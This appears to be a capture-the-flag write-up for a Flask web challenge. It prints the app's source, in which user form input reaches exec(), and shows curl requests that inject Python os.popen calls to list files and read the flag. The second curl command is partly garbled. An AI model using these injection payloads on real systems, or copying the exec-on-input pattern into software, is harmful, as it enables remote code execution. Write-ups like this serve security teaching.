💡 Uses Remote Code Execution
This was in large part to my teammate, Wesley, I wasn't working on this challenge at first and he used a directory/file enumeration tool and discovered a /debug
page, it was also actually in the source code comments.
You could have used dirbuster, dirb, gobuster, etc. I personally like dirb (default wordlist), the command: dirb http://<ip>:<port>
- Navigate to
http://<ip>:<port>/debug
from flask import Flask, Response, request, render_template, request
from random import choice, randint
from string import lowercase
from functools import wraps
app = Flask(__name__)
def calc(recipe):
global garage
garage = {}
try: exec(recipe, garage)
except: pass
def GCR(func): # Great Calculator of the observable universe and it's infinite timelines
@wraps(func)
def federation(*args, **kwargs):
ingredient = ''.join(choice(lowercase) for _ in range(10))
recipe = '%s = %s' % (ingredient, ''.join(map(str, [randint(1, 69), choice(['+', '-', '*']), randint(1,69)])))
if request.method == 'POST':
ingredient = request.form.get('ingredient', '')
recipe = '%s = %s' % (ingredient, request.form.get('measurements', ''))
calc(recipe)
if garage.get(ingredient, ''):
return render_template('index.html', calculations=garage[ingredient])
return func(*args, **kwargs)
return federation
@app.route('/', methods=['GET', 'POST'])
@GCR
def index():
return render_template('index.html')
@app.route('/debug')
def debug():
return Response(open(__file__).read(), mimetype='text/plain')
if __name__ == '__main__':
app.run('0.0.0.0', port=1337)
We should note the calc
function, specifically because it tries to execute
something. This should be an immediate red flag for an attack vector
.
try: exec(recipe, garage)
Okay, really the part we care about is what happens when we POST
request anything to the website:
- Changing the values of
ingredient
andmeasurements
directly change what is displayed - Potential vulnerability where passing a user input can execute system commands
- Reasons why I ignore everything else:
- It creates the
recipe
used inexecution
- The
calc()
method is called immediately after
- It creates the
A POST
method consists of an address
and data
so we manipulate the data field, you can use a script, BurpSuite to intercept
and modify
a request, or simply curl.
You can try to directly run system commands but they do not work
- Import the Python
os
module, it provides commands for interacting with the operating system (files & directories!) -X POST
is to specify the request method- You could omit this line,
-d
will send aPOST
automatically but I like to be explicit for my own learning
- You could omit this line,
-d
is short for--data
, sends the specified data in aPOST
request__import__()
is the function to import.
is used to chain method callspopen()
executes the command inside ()read()
is necessary to actually read the output
This should list everything in the current working directory
curl -X POST http://<ip>:<port> -d "ingredient="meow"&measurements=__import__('os').popen('ls -la').read()"
You gain knowledge that there is a file named flag
cat
is used to output the contents offlag
curl -X POST http://<ip>:<port> -d "ingredient=”meow”=__import__('os').popen('cat flag').read()"
The flag should show up in the response